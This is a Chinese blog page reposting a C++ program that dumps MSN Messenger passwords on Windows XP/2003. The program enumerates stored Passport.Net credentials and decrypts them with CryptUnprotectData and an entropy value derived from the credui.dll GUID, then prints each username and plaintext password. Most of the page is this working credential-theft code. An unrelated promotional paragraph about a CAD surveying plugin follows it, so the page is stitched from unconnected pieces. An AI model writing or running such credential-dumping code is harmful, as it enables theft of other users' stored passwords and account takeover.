VC编程获取MSN口令的代码

本文提供了一个针对Windows XP和2003操作系统的MSN Messenger密码解密程序。该程序使用C++编写,通过调用Windows Credential UI接口来获取并解密存储在系统中的MSN Messenger密码。

MSN Messenger uses Windows Credential UI [credui.dll] on WinXP/2003. Password-Storage mechanism differs in these OSes so, the code posted by tombkeeper [http://xfocus.net/articles/200408/726.html] doesn't seem to work any more on my OS atleast. Also, a 'entropy' value has been thrown, which is based on credui.dll GUID. So, here is the code that fullfils the same purpose - but surely works on my OS [WinXP SP2] :)

/--- Start-Code --/

/*
* MSN Messenger Password Decrypter for Windows XP & 2003
* (Compiled-VC++ 7.0, tested on WinXP SP2, MSN Messenger 7.0)
*      - Gregory R. Panakkal
*        http://www.crapware.tk/
*        http://www.infogreg.com/
*/

#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>

#pragma comment(lib, "Crypt32.lib")


//Following definitions taken from wincred.h
//[available only in Oct 2002 MS Platform SDK //LCC-Win32 Includes]

typedef struct _CREDENTIAL_ATTRIBUTEA {
    LPSTR Keyword;
    DWORD Flags;
    DWORD ValueSize;
    LPBYTE Value;
}
CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA;

typedef struct _CREDENTIALA {
    DWORD Flags;
    DWORD Type;
    LPSTR TargetName;
    LPSTR Comment;
    FILETIME LastWritten;
    DWORD CredentialBlobSize;
    LPBYTE CredentialBlob;
    DWORD Persist;
    DWORD AttributeCount;
    PCREDENTIAL_ATTRIBUTEA Attributes;
    LPSTR TargetAlias;
    LPSTR UserName;
} CREDENTIALA,*PCREDENTIALA;

typedef CREDENTIALA CREDENTIAL;
typedef PCREDENTIALA PCREDENTIAL;

////////////////////////////////////////////////////////////////////

typedef BOOL (WINAPI *typeCredEnumerateA)(LPCTSTR,
DWORD, DWORD *, PCREDENTIALA **);
typedef BOOL (WINAPI *typeCredReadA)(LPCTSTR, DWORD,
DWORD, PCREDENTIALA *);
typedef VOID (WINAPI *typeCredFree)(PVOID);

typeCredEnumerateA pfCredEnumerateA;
typeCredReadA pfCredReadA;
typeCredFree pfCredFree;

////////////////////////////////////////////////////////////////////

void showBanner()
{
    printf("MSN Messenger Password Decrypter forWindows XP/2003\n");
    printf("   - Gregory R. Panakkal,http://www.infogreg.com \n\n");
}

////////////////////////////////////////////////////////////////////
int main()
{
    PCREDENTIAL *CredentialCollection = NULL;
    DATA_BLOB blobCrypt, blobPlainText, blobEntropy;

    //used for filling up blobEntropy
    char szEntropyStringSeed[37] =
"82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll
    short int EntropyData[37];
    short int tmp;

    HMODULE hDLL;
    DWORD Count, i;

    showBanner();

    //Locate CredEnumerate, CredRead, CredFree from advapi32.dll
    if( hDLL = LoadLibrary("advapi32.dll") )
    {
        pfCredEnumerateA = (typeCredEnumerateA)GetProcAddress(hDLL, "CredEnumerateA");
        pfCredReadA = (typeCredReadA)GetProcAddress(hDLL, "CredReadA");
        pfCredFree = (typeCredFree)GetProcAddress(hDLL, "CredFree");

        if( pfCredEnumerateA == NULL||
            pfCredReadA == NULL ||
            pfCredFree == NULL )
        {
            printf("error!\n");
            return -1;
        }
    }
   

    //Get an array of 'credential', satisfying the filter
    pfCredEnumerateA("Passport.Net\\*", 0, &Count,&CredentialCollection);


    if( Count ) //usually this value is only 1
    {

        //Calculate Entropy Data
        for(i=0; i<37; i++) //strlen(szEntropyStringSeed) = 37
        {
            tmp = (short int)szEntropyStringSeed[i];
            tmp <<= 2;
            EntropyData[i] = tmp;
        }

        for(i=0; i<Count; i++)
        {
            blobEntropy.pbData = (BYTE *)&EntropyData;
            blobEntropy.cbData = 74; //sizeof(EntropyData)

            blobCrypt.pbData = CredentialCollection[i]->CredentialBlob;
            blobCrypt.cbData = CredentialCollection[i]->CredentialBlobSize;

            CryptUnprotectData(&blobCrypt, NULL, &blobEntropy, NULL, NULL, 1, &blobPlainText);
            
            printf("Username : %s\n", CredentialCollection[i]->UserName);
            printf("Password : %ls\n\n", blobPlainText.pbData);
        }
    }

    pfCredFree(CredentialCollection);
}

/--- End-Code --/

URL :
http://www.infogreg.com/source-code/gpl/msn-messenger-password-decrypter-for-windows-xp-and-2003.html

《信心工具箱V2.99(XXG)——CAD二次开发插件详解》信心工具箱V2.99(XXG)是一款专为CAD(计算机辅助设计)用户设计的二次开发插件,尤其针对测绘行业的专业人士。该工具箱包含上百种小型插件,覆盖了测绘工作中的诸多关键环节,旨在提升工作效率,简化复杂操作,为测绘人员提供强大而全面的支持。让我们深入了解这款插件的核心功能之一——等高线处理检查。在地形测绘中,等高线的绘制与处理至关重要,它能够直观地反映地势变化。信心工具箱提供的等高线处理功能,不仅能够自动绘制等高线,还能进行精细化的检查,确保等高线的准确性和连续性,避免出现错漏或不一致的问题,极大地提高了测绘成果的精确度。插件中的断面提取功能对于道路、桥梁等工程项目的规划和设计尤为实用。通过选择特定的线段,可以快速提取出沿线的地形断面,帮助工程师分析地基稳定性,评估施工难度,并进行合理的工程设计。这一功能大大减少了手动操作的时间,提升了工作效率。批量处理是信心工具箱的一大亮点。无论是数据转换、图层管理还是格式兼容,用户都可以批量操作,一次性完成大量文件的处理,这对于处理大规模测绘项目来说,无疑是巨大的时间节省。此外,插件还提供了强大的提取功能。用户可以快速从现有图纸中提取所需的数据或元素,如坐标点、线段长度等,方便进行数据分析和报告编制。同时,便捷的标注功能让测量结果的呈现更加清晰,使得图纸更易于理解和交流。信心工具箱V2.99(XXG)在标签上被归类为“CASS插件”和“测绘”,这意味着它与知名的CASS软件有着良好的兼容性,能够在CASS的基础上进一步扩展其功能,为测绘工作带来更多的便利。信心工具箱V2.99(XXG)是一款集多功能于一体的CAD二次开发插件,它以等高线处理、断面提取、批量处理和数据提取标注等实用功能,满足了测绘行业的多样化需求,成为测绘人员不可或缺的得力助手。在实际工作中,结合其高效便捷的操作,将大幅提升测绘工作的质量和效率。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值